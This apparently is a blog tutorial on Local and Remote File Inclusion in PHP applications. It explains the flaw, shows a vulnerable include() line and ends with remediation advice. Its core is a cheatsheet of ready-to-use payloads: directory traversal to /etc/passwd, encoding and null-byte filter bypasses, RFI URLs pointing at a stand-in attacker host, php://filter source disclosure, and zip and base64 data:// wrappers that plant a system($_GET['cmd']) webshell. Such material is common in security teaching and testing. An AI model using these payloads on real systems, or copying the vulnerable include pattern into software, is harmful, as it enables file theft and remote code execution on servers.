.svg){kind=icon}
.svg){kind=icon}
Based on the definition provided by OWASP, the File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanism implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
We’ll explore the vulnerabilities through the two file inclusion processes: Local File Inclusion (LFI) and Remote File Inclusion (RFI).
Local File Inclusion (LFI) Exploit
Local file inclusion exploit (also known as LFI) is the process of including files that are already locally present on the server, through the exploitation of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included, and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP, and others.
Remote File Inclusion (RFI)
Remote File Inclusion (also known as RFI) is the process of including remote files through the exploitation of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included, and this input is not properly sanitized, allowing external URL to be injected.
What’s the Impact of File Inclusion
This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:
- Code execution on the web server
- Code execution on the client-side (such as JavaScript which can lead to other attacks, such as Cross-Site Scripting (XSS)
- Denial of Service (DoS)
- Sensitive Information Disclosure
How Does It Work?
When we test for Local File Inclusion or Remote File Inclusion vulnerabilities, we should be looking for scripts that take filenames as parameters, such as ‘file, URL, path, filename’ etc.
If we consider the following example:
http://vulnerable-website/file.php?file=index.php
Since we see the parameter ‘file’ that calls for another file on the server, we can try to read arbitrary files from the server. For the sake of the example, we’ll be calling: /etc/passwd file.
http://vulnerable-website/file.php?file=../../../../etc/passwd
If the application doesn’t filter the file being called, and if the vulnerability exists, then the /etc/passwd file content will return in the response.
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
………..
The reason for the lack of filtering for files being called is the lack of input validation in the file.php file content. The file parameter is being run based on the following PHP code which allows reading the content of arbitrary files in the server.
<?php include($_GET[‘file’].”.php”); ?>
The most common parameters to be tested for LFI can be found below:
cat
dir
action
board
date
detail
file
download
path
folder
prefix
include
page
------------------------------------------------------------------inc
locate
show
doc
site
type
view
content
document
layout
mod
conf
File Inclusion Cheatsheet
Basics:
http://vulnerable-site.com/index.php?page=../../../etc/passwd
http://vulnerable-site.com/index.php?page=....//....//....//etc/passwd
http://vulnerable-site.com/index.php?page=....\/....\/....\/etc/passwd
http://vulnerable-site.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
--------------------------------------------------------------------
Null Byte Injection:
http://vulnerable-site.com/index.php?page=../../../etc/passwd%00
--------------------------------------------------------------------
Encoding:
http://vulnerable-site.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://vulnerable-site.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://vulnerable-site.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://vulnerable-site.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
--------------------------------------------------------------------
From an Existent Folder:
http://vulnerable-site.com/index.php?page=utils/scripts/../../../../../etc/passwd
--------------------------------------------------------------------
Path Truncation:
http://vulnerable-site.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://vulnerable-site.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://vulnerable-site.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://vulnerable-site.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
--------------------------------------------------------------------
Filter Bypass:
http://vulnerable-site.com/index.php?page=....//....//etc/passwd
http://vulnerable-site.com/index.php?page=..///////..////..//////etc/passwd
http://vulnerable-site.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd http://vulnerable-site.com/index.php?page=/var/www/../../etc/passwd
--------------------------------------------------------------------
RFI:
http://vulnerable-site.com/index.php?page=http://atacker.com/evil.php
http://vulnerable-site.com/index.php?page=\\attacker.com\evil.php
--------------------------------------------------------------------
PHP Wrappers: filter
http://vulnerable-site.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://vulnerable-site.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://vulnerable-site.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
--------------------------------------------------------------------
PHP wrapper: zlib
http://vulnerable-site.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
--------------------------------------------------------------------
PHP wrapper: ZIP
echo “<pre><?php system($_GET[‘cmd’]); ?></pre>” > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://vulnerable-site.com/index.php?page=zip://shell.jpg%23payload.php
--------------------------------------------------------------------
PHP wrapper: Data
http://vulnerable-site.com/?page=data://text/plain,<?php echo base64_encode(file_get_contents(“index.php”)); ?>
http://vulnerable-site.com/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
The payload: “<?php system($_GET[‘cmd’]);”
--------------------------------------------------------------------
Remediation
The most effective solution to eliminate File Inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain an allowed list of files, that may be included by the page, and then use an identifier (for example the index number) to access the selected file. Any request containing an invalid identifier has to be rejected, in this way, there is no attack surface for malicious users to manipulate the path.
If you’re looking for a more detailed walk-through on File Inclusion, check out my latest video:
